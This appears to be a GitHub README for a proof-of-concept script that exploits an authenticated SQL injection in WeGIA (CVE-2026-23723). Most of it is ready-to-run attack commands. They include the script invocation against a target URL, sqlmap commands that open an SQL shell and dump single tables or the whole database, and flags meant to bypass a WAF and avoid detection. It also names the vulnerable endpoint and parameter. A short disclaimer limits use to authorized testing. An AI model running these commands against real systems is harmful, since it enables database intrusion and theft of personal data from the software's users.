ch35h1r3c47/cve-2026-23723-pocThis is a lightweight Python helper script designed to automate the generation of sqlmap-compatible PoC files for the authenticated error-based SQL injection vulnerability in WeGIA (≤ 3.6.1), identified as GHSA-xfmp-2hf9-gfjp.
Authenticated Error-Based SQL Injection in WeGIA ≤ 3.6.1
GHSA-xfmp-2hf9-gfjp | Official Advisory
POC Original Author / Reporter: ViniCastro2001 GHSA Published by: nilsonLazarin (project maintainer)
This lightweight Python script automates:
id_memorando=1*)--sql-shell)requests library (most penetration testing environments already have it)git clone https://github.com/Ch35h1r3c47/CVE-2026-23723-POC.git
cd CVE-2026-23723-POC
# Recommended: interactive password prompt
python CVE-2026-23723.py --url http://target.com -u admin
# Provide password directly
python CVE-2026-23723.py --url http://target.com -u admin -p wegia
# Custom output file
python CVE-2026-23723.py --url http://target.com -u admin -p wegia --output custom.req
After running successfully, the script will:
Attempt login Generate wegia_sqlmap.req (or your custom file name) Display ready-to-use sqlmap commands
# 1. Interactive MySQL-like shell (most recommended)
sqlmap -r wegia_sqlmap.req --sql-shell --batch --dbms=mariadb
# 2. Show current & all databases
sqlmap -r wegia_sqlmap.req --current-db --dbs --batch
# 3. List tables in wegia database
sqlmap -r wegia_sqlmap.req -D wegia --tables --batch
# 4. Dump a specific table (example: funcionario)
sqlmap -r wegia_sqlmap.req -D wegia -T funcionario --dump --threads=2 --batch
# 5. Dump entire wegia database (careful!)
sqlmap -r wegia_sqlmap.req -D wegia --dump-all --threads=3 --batch --output-dir=./dump
Optional sqlmap flags:
--proxy=http://127.0.0.1:8080 (through Burp/ZAP)
--tamper=space2comment,randomcase (basic WAF bypass)
--delay=1 (slow down to avoid detection)
If Automatic Login Fails Manually log in via browser → copy full Cookie header → run sqlmap directly:
sqlmap -u "http://target.com/controle/control.php?nomeClasse=Atendido_ocorrenciaControle&metodo=listarTodosComAnexo&id_memorando=*" \
--cookie="PHPSESSID=xxxxxxxx; other_cookie=yyy" \
--sql-shell --batch
Legal Disclaimer This PoC is provided for educational and authorized penetration testing purposes only. Unauthorized use against any system is illegal and prohibited. The author and contributors assume no responsibility for misuse or any damage caused. References
GHSA-xfmp-2hf9-gfjp CVE-2026-23723